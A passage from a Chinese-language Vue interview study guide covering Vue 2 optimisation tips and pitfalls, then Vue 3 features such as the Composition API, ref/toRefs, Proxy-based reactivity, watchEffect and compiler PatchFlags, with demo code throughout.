            // try...catch 捕获的 error ,无法被 window.onerror 监听到
          }
    
          this.num() // 报错
        }
      },
      mounted() {
        // 被errorCaptured捕获
        // throw new Error('mounted 报错')
    
        // 异步报错,errorHandler、errorCaptured监听不到,vue对异步报错监听不了,需要使用window.onerror来做
        // setTimeout(() => {
        //     throw new Error('setTimeout 报错')
        // }, 1000)
      },
    }

在实际工作中,你对Vue做过哪些优化

  • v-if和v-show
    • v-if彻底销毁组件
    • v-show使用dispaly切换block/none
    • 实际工作中大部分情况下使用v-if就好,不要过渡优化
  • v-for使用key
    • key不要使用index
  • 使用computed缓存
  • keep-alive缓存组件
    • 频繁切换的组件 tabs
    • 不要乱用,缓存会占用更多的内存
  • 异步组件
    • 针对体积较大的组件,如编辑器、复杂表格、复杂表单
    • 拆包,需要时异步加载,不需要时不加载
    • 减少主包体积,首页会加载更快
    • 演示
        <!-- index.vue -->
    <template>
      <Child></Child>
    </template>
    <script>
    import { defineAsyncComponent } from 'vue'
    export default {
      name: 'AsyncComponent',
      components: {
        // child体积大 异步加载才有意义
        // defineAsyncComponent vue3的写法
        Child: defineAsyncComponent(() => import(/* webpackChunkName: "async-child" */ './Child.vue'))
      }
    }
    
    <!-- child.vue -->
    <template>
      <p>async component child</p>
    </template>
    <script>
    export default {
      name: 'Child',
    }
    </script>
  • 路由懒加载
    • 项目比较大,拆分路由,保证首页先加载
    • 演示
        const routes = [
      {
        path: '/',
        name: 'Home',
        component: Home // 直接加载
      },
      {
        path: '/about',
        name: 'About',
        // route level code-splitting
        // this generates a separate chunk (about.[hash].js) for this route
        // which is lazy-loaded when the route is visited.
        // 路由懒加载
        component: () => import(/* webpackChunkName: "about" */ '../views/About.vue')
      }
    ]
  • 服务端SSR
    • 可使用Nuxt.js
    • 按需优化,使用SSR成本比较高
  • 实际工作中你遇到积累的业务的优化经验也可以说

连环问:你在使用Vue过程中遇到过哪些坑

  • 内存泄露
    • 全局变量、全局事件、全局定时器没有销毁
    • 自定义事件没有销毁
  • Vue2响应式的缺陷(vue3不在有)
    • data后续新增属性用Vue.set
    • data删除属性用Vue.delete
    • Vue2并不支持数组下标的响应式。也就是说Vue2检测不到通过下标更改数组的值 arr[index] = value
  • 路由切换时scroll会重新回到顶部
    • 这是SPA应用的通病,不仅仅是vue
    • 如,列表页滚动到第二屏,点击详情页,再返回列表页,此时列表页组件会重新渲染回到了第一页
    • 解决方案
      • 在列表页缓存翻页过的数据和scrollTop的值
      • 当再次返回列表页时,渲染列表组件,执行scrollTo(xx)
      • 终极方案:MPA(多页面) + App WebView(可以打开多个页面不会销毁之前的)
  • 日常遇到问题记录总结,下次面试就能用到

5 Vue3

vue3 对 vue2 有什么优势

  • 性能更好(编译优化、使用proxy等)
  • 体积更小
  • 更好的TS支持
  • 更好的代码组织
  • 更好的逻辑抽离
  • 更多新功能

vue3 和 vue2 的生命周期有什么区别

Options API生命周期

  • beforeDestroy改为beforeUnmount
  • destroyed改为umounted
  • 其他沿用vue2生命周期

Composition API生命周期

    import { onBeforeMount, onMounted, onBeforeUpdate, onUpdated, onBeforeUnmount, onUnmounted } from 'vue'
    
    export default {
        name: 'LifeCycles',
        props: {
          msg: String
        },
        // setup等于 beforeCreate 和 created
        setup() {
            console.log('setup')
    
            onBeforeMount(() => {
                console.log('onBeforeMount')
            })
            onMounted(() => {
                console.log('onMounted')
            })
            onBeforeUpdate(() => {
                console.log('onBeforeUpdate')
            })
            onUpdated(() => {
                console.log('onUpdated')
            })
            onBeforeUnmount(() => {
                console.log('onBeforeUnmount')
            })
            onUnmounted(() => {
                console.log('onUnmounted')
            })
        },
    
        // 兼容vue2生命周期 options API和composition API生命周期二选一
        beforeCreate() {
            console.log('beforeCreate')
        },
        created() {
            console.log('created')
        },
        beforeMount() {
            console.log('beforeMount')
        },
        mounted() {
            console.log('mounted')
        },
        beforeUpdate() {
            console.log('beforeUpdate')
        },
        updated() {
            console.log('updated')
        },
        // beforeDestroy 改名
        beforeUnmount() {
            console.log('beforeUnmount')
        },
        // destroyed 改名
        unmounted() {
            console.log('unmounted')
        }
    }

如何理解Composition API和Options API

composition API对比Option API

  • Composition API带来了什么
    • 更好的代码组织
    • 更好的逻辑复用
    • 更好的类型推导
  • Composition API和Options API如何选择
    • 不建议共用,会引起混乱
    • 小型项目、业务逻辑简单,用Option API成本更小一些
    • 中大型项目、逻辑复杂,用Composition API

ref如何使用

ref

  • 生成值类型的响应式数据
  • 可用于模板和reactive
  • 通过.value修改值
    <template>
        <p>ref demo {{ageRef}} {{state.name}}</p>
    </template>
    
    <script>
    import { ref, reactive } from 'vue'
    
    export default {
        name: 'Ref',
        setup() {
            const ageRef = ref(20) // 值类型 响应式
            const nameRef = ref('test')
    
            const state = reactive({
                name: nameRef
            })
    
            setTimeout(() => {
                console.log('ageRef', ageRef.value)
    
                ageRef.value = 25 // .value 修改值
                nameRef.value = 'testA'
            }, 1500);
    
            return {
                ageRef,
                state
            }
        }
    }
    </script>
    <!-- ref获取dom节点 -->
    <template>
        <p ref="elemRef">我是一行文字</p>
    </template>
    
    <script>
    import { ref, onMounted } from 'vue'
    
    export default {
        name: 'RefTemplate',
        setup() {
            const elemRef = ref(null)
    
            onMounted(() => {
                console.log('ref template', elemRef.value.innerHTML, elemRef.value)
            })
    
            return {
                elemRef
            }
        }
    }
    </script>

toRef和toRefs如何使用和最佳方式

toRef

  • 针对一个响应式对象(reactive封装的)的一个属性,创建一个ref,具有响应式
  • 两者保持引用关系

toRefs

  • 将响应式对象(reactive封装的)转化为普通对象
  • 对象的每个属性都是对象的ref
  • 两者保持引用关系

合成函数返回响应式对象

最佳使用方式

  • reactive做对象的响应式,用ref做值类型响应式(基本类型)
  • setup中返回toRefs(state),或者toRef(state, 'prop')
  • ref的变量命名都用xxRef
  • 合成函数返回响应式对象时,使用toRefs,有助于使用方对数据进行解构时,不丢失响应式
    <template>
        <p>toRef demo - {{ageRef}} - {{state.name}} {{state.age}}</p>
    </template>
    
    <script>
    import { ref, toRef, reactive } from 'vue'
    
    export default {
        name: 'ToRef',
        setup() {
            const state = reactive({
                age: 20,
                name: 'test'
            })
    
            const age1 = computed(() => {
                return state.age + 1
            })
    
            // toRef 如果用于普通对象(非响应式对象),产出的结果不具备响应式
            // const state = {
            //     age: 20,
            //     name: 'test'
            // }
            // 一个响应式对象state其中一个属性要单独拿出来实现响应式用toRef
            const ageRef = toRef(state, 'age')
    
            setTimeout(() => {
                state.age = 25
            }, 1500)
    
            setTimeout(() => {
                ageRef.value = 30 // .value 修改值
            }, 3000)
    
            return {
                state,
                ageRef
            }
        }
    }
    </script>
    <template>
        <p>toRefs demo {{age}} {{name}}</p>
    </template>
    
    <script>
    import { ref, toRef, toRefs, reactive } from 'vue'
    
    export default {
        name: 'ToRefs',
        setup() {
            const state = reactive({
                age: 20,
                name: 'test'
            })
    
            const stateAsRefs = toRefs(state) // 将响应式对象,变成普通对象
    
            // const { age: ageRef, name: nameRef } = stateAsRefs // 每个属性,都是 ref 对象
            // return {
            //     ageRef,
            //     nameRef
            // }
    
            setTimeout(() => {
                state.age = 25
            }, 1500)
    
            return stateAsRefs
        }
    }
    </script>

深入理解为什么需要ref、toRef、toRefs

为什么需要用 ref

  • 返回值类型,会丢失响应式
  • 如在setupcomputed、合成函数,都有可能返回值类型
  • Vue如不定义ref,用户将制造ref,反而更混乱

为何ref需要.value属性

  • ref是一个对象(不丢失响应式),value存储值
  • 通过.value属性的getset实现响应式
  • 用于模板、reactive时,不需要.value,其他情况都要

为什么需要toRef和toRefs

  • 初衷 :不丢失响应式的情况下,把对象数据 分解/扩散
  • 前端 :针对的是响应式对象(reactive封装的)非普通对象
  • 注意:不创造 响应式,而是延续 响应式
    <template>
        <p>why ref demo {{state.age}} - {{age1}}</p>
    </template>
    
    <script>
    import { ref, toRef, toRefs, reactive, computed } from 'vue'
    
    function useFeatureX() {
        const state = reactive({
            x: 1,
            y: 2
        })
    
        return toRefs(state)
    }
    
    export default {
        name: 'WhyRef',
        setup() {
            // 解构不丢失响应式
            const { x, y } = useFeatureX()
    
            const state = reactive({
                age: 20,
                name: 'test'
            })
    
            // computed 返回的是一个类似于 ref 的对象,也有 .value
            const age1 = computed(() => {
                return state.age + 1
            })
    
            setTimeout(() => {
                state.age = 25
            }, 1500)
    
            return {
                state,
                age1,
                x,
                y
            }
        }
    }
    </script>

vue3升级了哪些重要功能

1. createApp

    // vue2
    const app = new Vue({/**选项**/})
    Vue.use(/****/)
    Vue.mixin(/****/)
    Vue.component(/****/)
    Vue.directive(/****/)
    
    // vue3
    const app = createApp({/**选项**/})
    app.use(/****/)
    app.mixin(/****/)
    app.component(/****/)
    app.directive(/****/)

2. emits属性

    // 父组件
    <Hello :msg="msg" @onSayHello="sayHello">
    
    // 子组件
    export default {
        name: 'Hello',
        props: {
            msg: String
        },
        emits: ['onSayHello'], // 声明emits
        setup(props, {emit}) {
            emit('onSayHello', 'aaa')
        }
    }

3. 多事件

    <!-- 定义多个事件 -->
    <button @click="one($event),two($event)">提交</button>

4. Fragment

    <!-- vue2 -->
    <template>
        <div>
            <h2>{{title}}</h2>
            <p>test</p>
        </div>
    </template>
    
    <!-- vue3:不在使用div节点包裹 -->
    <template>
        <h2>{{title}}</h2>
        <p>test</p>
    </template>

5. 移除.sync

    <!-- vue2 -->
    <MyComponent :title.sync="title" />
    
    <!-- vue3 简写 -->
    <MyComponent v-model:title="title" />
    <!-- 非简写 -->
    <MyComponent :title="title" @update:title="title = $event" />

.sync用法

父组件把属性给子组件,子组件修改了后还能同步到父组件中来

    <template>
      <button @click="close">关闭</button>
    </template>
    <script>
    export default {
        props: {
            isVisible: {
                type: Boolean,
                default: false
            }
        },
        methods: {
            close () {
                this.$emit('update:isVisible', false);
            }
        }
    };
    </script>
    <!-- 父组件使用 -->
    <chlid-component :isVisible.sync="isVisible"></chlid-component>
    <text-doc :title="doc.title" @update:title="doc.title = $event"></text-doc>
    
    <!-- 为了方便期间,为这种模式提供一个简写 .sync -->
    <text-doc :title.sync="doc.title" />

6. 异步组件的写法

    // vue2写法
    new Vue({
        components: {
            'my-component': ()=>import('./my-component.vue')
        }
    })
    // vue3写法
    import {createApp, defineAsyncComponent} from 'vue'
    
    export default {
        components: {
            AsyncComponent: defineAsyncComponent(()=>import('./AsyncComponent.vue'))
        }
    }

7. 移除filter

    <!-- 以下filter在vue3中不可用了 -->
    
    <!-- 在花括号中 -->
    {message | capitalize}
    
    <!-- 在v-bind中 -->
    <div v-bind:id="rawId | formatId"></div>

8. Teleport

    <button @click="modalOpen = true">
     open
    </button>
    
    <!-- 通过teleport把弹窗放到body下 -->
    <teleport to="body">
     <div v-if="modalOpen" classs="modal">
       <div>
         teleport弹窗,父元素是body
         <button @click="modalOpen = false">close</button>
       </div>
     </div>
    </teleport>

9. Suspense

    <Suspense>
     <template>
        <!-- 异步组件 -->
       <Test1 />  
     </template>
     <!-- fallback是一个具名插槽,即Suspense内部有两个slot,一个具名插槽fallback -->
     <template #fallback>
        loading...
     </template>
    </Suspense>

10. Composition API

  • reactive
  • ref
  • readonly
  • watchwatchEffect
  • setup
  • 生命周期钩子函数

Composition API 如何实现逻辑复用

  • 抽离逻辑代码到一个函数
  • 函数命名约定为useXx格式(React Hooks也是)
  • setup中引用useXx函数
    <template>
        <p>mouse position {{x}} {{y}}</p>
    </template>
    
    <script>
    import { reactive } from 'vue'
    import useMousePosition from './useMousePosition'
    // import useMousePosition2 from './useMousePosition'
    
    export default {
        name: 'MousePosition',
        setup() {
            const { x, y } = useMousePosition()
            return {
                x,
                y
            }
    
            // const state = useMousePosition2()
            // return {
            //     state
            // }
        }
    }
    </script>
    import { reactive, ref, onMounted, onUnmounted } from 'vue'
    
    function useMousePosition() {
        const x = ref(0)
        const y = ref(0)
    
        function update(e) {
            x.value = e.pageX
            y.value = e.pageY
        }
    
        onMounted(() => {
            console.log('useMousePosition mounted')
            window.addEventListener('mousemove', update)
        })
    
        onUnmounted(() => {
            console.log('useMousePosition unMounted')
            window.removeEventListener('mousemove', update)
        })
    
        // 合成函数尽量返回ref或toRefs(state)  state = reactive({})
        // 这样在使用的时候可以解构但不丢失响应式
        return {
            x,
            y
        }
    }
    
    // function useMousePosition2() {
    //     const state = reactive({
    //         x: 0,
    //         y: 0
    //     })
    
    //     function update(e) {
    //         state.x = e.pageX
    //         state.y = e.pageY
    //     }
    
    //     onMounted(() => {
    //         console.log('useMousePosition mounted')
    //         window.addEventListener('mousemove', update)
    //     })
    
    //     onUnmounted(() => {
    //         console.log('useMousePosition unMounted')
    //         window.removeEventListener('mousemove', update)
    //     })
    
    //     return state
    // }
    
    export default useMousePosition
    // export default useMousePosition2

Vue3如何实现响应式

  • 回顾vue2Object.defineProperty
  • 缺点
    • 深度监听对象需要一次性递归
    • 无法监听新增属性、删除属性(Vue.setVue.delete)
    • 无法监听原生数组,需要特殊处理
  • 学习proxy语法
  • Vue3中如何使用proxy实现响应式

Proxy 基本使用

    // const data = {
    //     name: 'zhangsan',
    //     age: 20,
    // }
    const data = ['a', 'b', 'c']
    
    const proxyData = new Proxy(data, {
        get(target, key, receiver) {
            // 只处理本身(非原型的)属性
            const ownKeys = Reflect.ownKeys(target)
            if (ownKeys.includes(key)) {
                console.log('get', key) // 监听
            }
    
            const result = Reflect.get(target, key, receiver)
            return result // 返回结果
        },
        set(target, key, val, receiver) {
            // 重复的数据,不处理
            if (val === target[key]) {
                return true
            }
    
            const result = Reflect.set(target, key, val, receiver)
            console.log('set', key, val)
            // console.log('result', result) // true
            return result // 是否设置成功
        },
        deleteProperty(target, key) {
            const result = Reflect.deleteProperty(target, key)
            console.log('delete property', key)
            // console.log('result', result) // true
            return result // 是否删除成功
        }
    })

vue3用Proxy 实现响应式

  • 深度监听,性能更好(获取到哪一层才触发响应式get,不是一次性递归)
  • 可监听新增/删除属性
  • 可监听数组变化
    // 创建响应式
    function reactive(target = {}) {
        if (typeof target !== 'object' || target == null) {
            // 不是对象或数组,则返回
            return target
        }
    
        // 代理配置
        const proxyConf = {
            get(target, key, receiver) {
                // 只处理本身(非原型的)属性
                const ownKeys = Reflect.ownKeys(target)
                if (ownKeys.includes(key)) {
                    console.log('get', key) // 监听
                }
        
                const result = Reflect.get(target, key, receiver)
            
                // 深度监听
                // 性能如何提升的?获取到哪一层才触发响应式get,不是一次性递归
                return reactive(result)
            },
            set(target, key, val, receiver) {
                // 重复的数据,不处理
                if (val === target[key]) {
                    return true
                }
        
                const ownKeys = Reflect.ownKeys(target)
                if (ownKeys.includes(key)) {
                    console.log('已有的 key', key)
                } else {
                    console.log('新增的 key', key)
                }
    
                const result = Reflect.set(target, key, val, receiver)
                console.log('set', key, val)
                // console.log('result', result) // true
                return result // 是否设置成功
            },
            deleteProperty(target, key) {
                const result = Reflect.deleteProperty(target, key)
                console.log('delete property', key)
                // console.log('result', result) // true
                return result // 是否删除成功
            }
        }
    
        // 生成代理对象
        const observed = new Proxy(target, proxyConf)
        return observed
    }
    
    // 测试数据
    const data = {
        name: 'zhangsan',
        age: 20,
        info: {
            city: 'shenshen',
            a: {
                b: {
                    c: {
                        d: {
                            e: 100
                        }
                    }
                }
            }
        }
    }
    
    const proxyData = reactive(data)

v-model参数的用法

    <!-- UserInfo组件 -->
    <template>
        <input :value="name" @input="$emit('update:name', $event.target.value)"/>
        <input :value="age" @input="$emit('update:age', $event.target.value)"/>
    </template>
    
    <script>
    export default {
        name: 'UserInfo',
        props: {
            name: String,
            age: String
        }
    }
    </script>
    <!-- 使用 -->
    <user-info
        v-model:name="name"
        v-model:age="age"
    ></user-info>

watch和watchEffect的区别

  • 两者都可以监听data属性变化
  • watch需要明确监听哪个属性
  • watchEffect会根据其中的属性,自动监听其变化
    <template>
        <p>watch vs watchEffect</p>
        <p>{{numberRef}}</p>
        <p>{{name}} {{age}}</p>
    </template>
    
    <script>
    import { reactive, ref, toRefs, watch, watchEffect } from 'vue'
    
    export default {
        name: 'Watch',
        setup() {
            const numberRef = ref(100)
            const state = reactive({
                name: 'test',
                age: 20
            })
    
            watchEffect(() => {
                // 初始化时,一定会执行一次(收集要监听的数据)
                console.log('hello watchEffect')
            })
            watchEffect(() => {
                console.log('state.name', state.name)
            })
            watchEffect(() => {
                console.log('state.age', state.age)
            })
            watchEffect(() => {
                console.log('state.age', state.age)
                console.log('state.name', state.name)
            })
            setTimeout(() => {
                state.age = 25
            }, 1500)
            setTimeout(() => {
                state.name = 'testA'
            }, 3000)
            
    
            // ref直接写
            // watch(numberRef, (newNumber, oldNumber) => {
            //     console.log('ref watch', newNumber, oldNumber)
            // }
            // // , {
            // //     immediate: true // 初始化之前就监听,可选
            // // }
            // )
    
            // setTimeout(() => {
            //     numberRef.value = 200
            // }, 1500)
    
            // watch(
            //     // 第一个参数,确定要监听哪个属性
            //     () => state.age,
    
            //     // 第二个参数,回调函数
            //     (newAge, oldAge) => {
            //         console.log('state watch', newAge, oldAge)
            //     },
    
            //     // 第三个参数,配置项
            //     {
            //         immediate: true, // 初始化之前就监听,可选
            //         // deep: true // 深度监听
            //     }
            // )
    
            // setTimeout(() => {
            //     state.age = 25
            // }, 1500)
            // setTimeout(() => {
            //     state.name = 'PoetryA'
            // }, 3000)
    
            return {
                numberRef,
                ...toRefs(state)
            }
        }
    }
    </script>

setup中如何获取组件实例

  • setup和其他composition API中没有this
  • 通过getCurrentInstance获取当前实例
  • 若使用options API可以照常使用this
    import { onMounted, getCurrentInstance } from 'vue'
    
    export default {
        name: 'GetInstance',
        data() {
            return {
                x: 1,
                y: 2
            }
        }, 
        setup() { // setup是beforeCreate created合集 组件还没正式初始化
            console.log('this1', this) // undefined
    
            onMounted(() => {
                console.log('this in onMounted', this) // undefined
                console.log('x', instance.data.x) // 1  onMounted中组件已经初始化了
            })
     
            const instance = getCurrentInstance()
            console.log('instance', instance)
        },
        mounted() {
            console.log('this2', this)
            console.log('y', this.y)
        }
    }

Vue3为何比Vue2快

  • proxy响应式:深度监听,性能更好(获取到哪一层才触发响应式get,不是一次性递归)
  • PatchFlag 动态节点做标志
  • HoistStatic 将静态节点的定义,提升到父作用域,缓存起来。多个相邻的静态节点,会被合并起来
  • CacheHandler 事件缓存
  • SSR优化: 静态节点不走vdom逻辑,直接输出字符串,动态节点才走
  • Tree-shaking 根据模板的内容动态import不同的内容,不需要就不import

什么是PatchFlag

  • 模板编译时,动态节点做标记
  • 标记,分为不同类型,如TextPROPSCLASS
  • diff算法时,可区分静态节点,以及不同类型的动态节点

    <!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果 -->
    
    <div>
      <span>hello vue3</span>
      <span>{{msg}}</span>
      <span :class="name">poetry</span>
      <span :id="name">poetry</span>
      <span :id="name">{{msg}}</span>
      <span :id="name" :msg="msg">poetry</span>
    </div>
    // 编译后结果
    
    import { createElementVNode as _createElementVNode, toDisplayString as _toDisplayString, normalizeClass as _normalizeClass, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"
    
    export function render(_ctx, _cache, $props, $setup, $data, $options) {
      return (_openBlock(), _createElementBlock("div", null, [
        _createElementVNode("span", null, "hello vue3"),
        _createElementVNode("span", null, _toDisplayString(_ctx.msg), 1 /* TEXT */), // 文本标记1
        _createElementVNode("span", {
          class: _normalizeClass(_ctx.name)
        }, "poetry"